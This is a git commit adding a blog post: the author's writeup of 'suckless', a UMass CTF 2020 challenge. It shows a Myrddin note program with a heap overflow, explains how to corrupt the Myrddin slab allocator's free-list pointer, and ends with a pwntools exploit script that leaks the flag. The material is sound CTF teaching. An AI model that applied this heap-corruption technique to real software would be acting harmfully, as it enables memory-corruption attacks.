summaryrefslogtreecommitdiff
path: root/posts/umass-ctf-2020-writeup.org
diff options
context:
space:
mode:
authorJakob L. Kreuze <zerodaysfordays@sdf.org>2024-07-13 18:04:05 -0400
committerJakob L. Kreuze <zerodaysfordays@sdf.org>2024-07-13 18:11:42 -0400
commit81c4d517735983a5afd6e9dc800257c761598527 (patch)
tree6b924707914d385126e6d330d2c628fd26f23a27 /posts/umass-ctf-2020-writeup.org
parent7f37518e4792f040a753a5d8d68d51e76cc0b2be (diff)
The `org' directory is no longer necessary
Diffstat (limited to 'posts/umass-ctf-2020-writeup.org')
-rw-r--r--posts/umass-ctf-2020-writeup.org285
1 files changed, 285 insertions, 0 deletions
diff --git a/posts/umass-ctf-2020-writeup.org b/posts/umass-ctf-2020-writeup.org
new file mode 100644
index 0000000..f98f33a
--- /dev/null
+++ b/posts/umass-ctf-2020-writeup.org
@@ -0,0 +1,285 @@
+#+TITLE: UMass CTF 2020 - suckless Writeup
+#+DATE: <2020-12-13 Sun 18:16>
+#+TAGS: writeup capture-the-flag security binary-exploitation myrddin
+
+Well, this is certainly overdue. It's the writeup for a challenge I authored for
+this year's UMass CTF, which ran from /October 5th to October 12th/. Yes, I'm
+late. But when you attend a university that tried very hard to squeeze the
+[[https://www.umass.edu/coronavirus/news/umass-amherst-announces-fall-2020-reopening-plan-under-extensive-public-health-and-behavioral][entire semester twelve weeks]], you're going to deal with burnout and not nearly
+enough time to do things outside of your coursework. So I'm finally coming back
+to the challenge now that the semester's ended.
+
+# TODO: Link to other writeups.
+
+suckless was released on the 9th, and no one solved it. The challenge revolved
+around a program, =sldiary=, which allowed the user to create "notes" which would
+be saved to memory and could be recalled later. It was written in Myrddin, which
+I [[http://jakob.space/blog/first-impressions-of-the-myrddin-programming-language.html][wrote about]] earlier this year. The source code for the program was provided
+with the challenge, and is listed below.
+
+#+BEGIN_SRC myrddin
+use std
+
+var flag = "You neet to hit the server for flag"
+var version = "sldiary 0.1.1"
+var versionptr
+
+const intro = {
+ versionptr = &version
+ std.put("(\\ \n")
+ std.put("\\'\\ \n")
+ std.put(" \\'\\ __________ \n")
+ std.put(" / '| ()_________)\n")
+ std.put(" \\ '/ \\ ~~~~~~~~ \\ {}\n", version)
+ std.put(" \\ \\ ~~~~~~ \\\n")
+ std.put(" ==). \\__________\\\n")
+ std.put(" (__) ()__________)\n")
+ std.put("\n")
+ std.put("type 'help' for available commands\n")
+}
+
+const showver = {
+ var tmp = flag
+ std.put("this is {}\n", versionptr#)
+}
+
+const addmsg = {n, buf -> byte#
+ var i
+ var msg = std.bytealloc(n)
+ for i = 0; buf[i] != ('\n' : byte); i++;
+ (((msg : std.size) + i) : byte#)# = buf[i]
+ ;;
+ -> msg
+}
+
+const msgstrconv = {n, msg
+ var i
+ var sb = std.mksb()
+ for i = 0; i < n; i++
+ std.sbputc(sb, ((((msg : uint64) + i) : byte#)# : char))
+ ;;
+ -> std.sbfin(sb)
+}
+
+const getln = {
+ var sb = std.mksb()
+ var buf = std.slalloc(0x40)
+ match std.read(std.In, buf)
+ | `std.Ok(n):
+ | `std.Err(n): std.die("i/o error")
+ ;;
+ std.sbputs(sb, buf)
+ -> std.sbfin(sb)
+}
+
+const main = {
+ intro()
+ var notes = std.slalloc(0)
+
+ var line
+ while true
+ std.put("> ")
+ line = getln()
+ if std.strhas(line, "help")
+ std.put("help: print this\n")
+ std.put("new: make a new note\n")
+ std.put("show: show all of your notes\n")
+ std.put("version: show the version of sldiary\n")
+ elif std.strhas(line, "new")
+ std.put("note length: ")
+ std.slfree(line)
+ line = getln()
+ var len
+ match std.strfind(line, "\n")
+ | `std.Some(n): line = line[:n]
+ | `std.None:
+ ;;
+ match std.intparse(line)
+ | `std.Some(n): len = n
+ | `std.None: std.put("invalid length\n"); continue
+ ;;
+ std.put("note: ")
+ std.slfree(line)
+ line = getln()
+ var msg = addmsg(len, line)
+ notes = std.slpush(&notes, (len, msg))
+ elif std.strhas(line, "show")
+ var i
+ for i = 0; i < notes.len; i++;
+ var len, msg
+ (len, msg) = notes[i]
+ std.put("address: {}\n", (msg : byte#))
+ std.put("{}: {}\n", i, msgstrconv((len : uint64), msg))
+ ;;
+ elif std.strhas(line, "version")
+ showver()
+ else
+ std.put("invalid command\n")
+ ;;
+ std.slfree(line)
+ ;;
+
+ std.slfree(notes)
+}
+#+END_SRC
+
+Even without being familiar with Myrddin, asking for the length of the note
+before reading it in is suspicious. And, indeed, this is where the vulnerability
+lies. The program reads in =len= ("note length") and =msg= ("note"), and calls
+=addmsg(len, line)=, which obtains a chunk of memory as =std.bytealloc(len)= (where
+=std.bytealloc= is effectively equivalent to =malloc (3)=), and fills it with the
+contents of =msg= up to the first occurrence of '\n' -- the line feed character,
+which indicates the end of what the user typed into the program.
+
+So, we can corrupt the heap, but now what?
+
+The caveat to this challenge was that the attacker would be corrupting a Myrddin
+heap, not i.e. a glibc heap. So if you were going to solve this challenge, you
+would need to have needed to read the source code for the Myrddin standard
+library. Fortunately, this is rather easy to navigate, and =std.alloc= is written
+in pure Myrddin.
+
+For those playing along at home, the source code for Myrddin is found [[https://git.eigenstate.org/ori/mc.git][here]], and
+the source code for =std.bytealloc= is contained in ~lib/std/bytealloc.myr~.
+
+#+BEGIN_SRC myrddin
+/* Allocates a blob that is 'sz' bytes long. Dies if the allocation fails */
+const bytealloc = {sz
+ var bkt, p
+
+ if sz <= Bktmax
+ bkt = &buckets[bktnum(sz)]
+ lock(memlck)
+ p = bktalloc(bkt)
+ unlock(memlck)
+ else
+ p = bigalloc(sz)
+ ;;
+ if trace
+ lock(memlck)
+ tracealloc(p, sz)
+ unlock(memlck)
+ ;;
+ -> p
+}
+#+END_SRC
+
+Where the memory format of =slab= is
+
+#+BEGIN_SRC myrddin
+type slab = struct
+ head : byte# /* head of virtual addresses, so we don't leak address space */
+ next : slab# /* the next slab on the chain */
+ prev : slab# /* the prev slab on the chain */
+ freehd : chunk# /* the nodes we're allocating */
+ nfree : size /* the number of free nodes */
+ magic : size /* ensure we didn't index into the void */
+;;
+#+END_SRC
+
+and the source for =bktalloc= is
+
+#+BEGIN_SRC myrddin
+/*
+Allocates a node from bucket 'bkt', crashing if the
+allocation cannot be satisfied. Will create a new slab
+if there are no slabs on the freelist.
+,*/
+const bktalloc = {bkt
+ var s, c
+
+ /* find a slab */
+ s = bkt.slabs
+ if s == Zslab
+ s = mkslab(bkt)
+ bkt.slabs = s
+ if s == Zslab
+ die("No memory left")
+ ;;
+ ;;
+
+ /* grab the first chunk on the slab */
+ c = s.freehd
+ s.freehd = c.next
+ s.nfree--
+ if s.freehd == Zchunk
+ bkt.slabs = s.next
+ if s.next != Zslab
+ s.next.prev = Zslab
+ ;;
+ ;;
+ -> (c : byte#)
+}
+#+END_SRC
+
+Below the comment reading 'grab the first chunk on the slab' is code to unlink
+the head of a linked list (=freehd=). When a *slab* of memory is allocated, its
+space is divided into *chunks*. Each chunk is initially a pointer to the next
+chunk. When we take a chunk to satisfy an allocation request, that pointer (and
+the space after it) is overwritten with user data, and the slab's "next free
+chunk" (=freehd=) is updated to point at whatever the =cdr=[fn:1] of that chunk was.
+It's a pretty simple heap format.
+
+#+CAPTION: Diagram showing showing three "free" chunks surrounding one containing user data.
+[[./MyrddinHeap.svg]]
+
+Thus, when we can overwrite the =cdr= pointer, we have a write-anything-anywhere
+primitive. So, why not overwrite the unusually suspect =versionptr= used in
+=showver=?
+
+#+BEGIN_SRC myrddin
+const showver = {
+ var tmp = flag
+ std.put("this is {}\n", versionptr#)
+}
+#+END_SRC
+
+If we overwrite =versionptr= to point to =flag=, we can dump the flag. So that's
+exactly what we'll do.
+
+#+BEGIN_SRC python
+import struct
+
+from pwn import *
+context(arch="x86_64", os="linux")
+
+VERSIONPTR_ADDR = 0x0042e850
+FLAG_ADDR = 0x42a048
+
+p = process(["./suckless"], False, "./suckless")
+
+# Allocate first chunk.
+p.recvuntil("> ")
+p.sendline("new")
+p.recvuntil("note length: ")
+p.sendline("8")
+p.recvuntil("note: ")
+p.sendline((b"A" * 16) + struct.pack("Q", VERSIONPTR_ADDR))
+p.recvuntil("> ")
+p.sendline("show")
+p.recvuntil("address: ")
+dbg = int(p.recvline(), 16)
+
+# Allocate dummy chunk.
+p.recvuntil("> ")
+p.sendline("new")
+p.recvuntil("note length: ")
+p.sendline("8")
+p.recvuntil("note: ")
+p.sendline((b"B" * 8))
+p.recvuntil("> ")
+p.sendline("show")
+
+# Overwrite versionptr.
+p.recvuntil("> ")
+p.sendline("new")
+p.recvuntil("note length: ")
+p.sendline("8")
+p.recvuntil("note: ")
+p.sendline(struct.pack("Q", FLAG_ADDR))
+p.recvuntil("> ")
+p.sendline("version")
+print(p.recvuntil("> "))
+#+END_SRC
+
+[fn:1] Or =next= if you're some sort of filthy C programmer.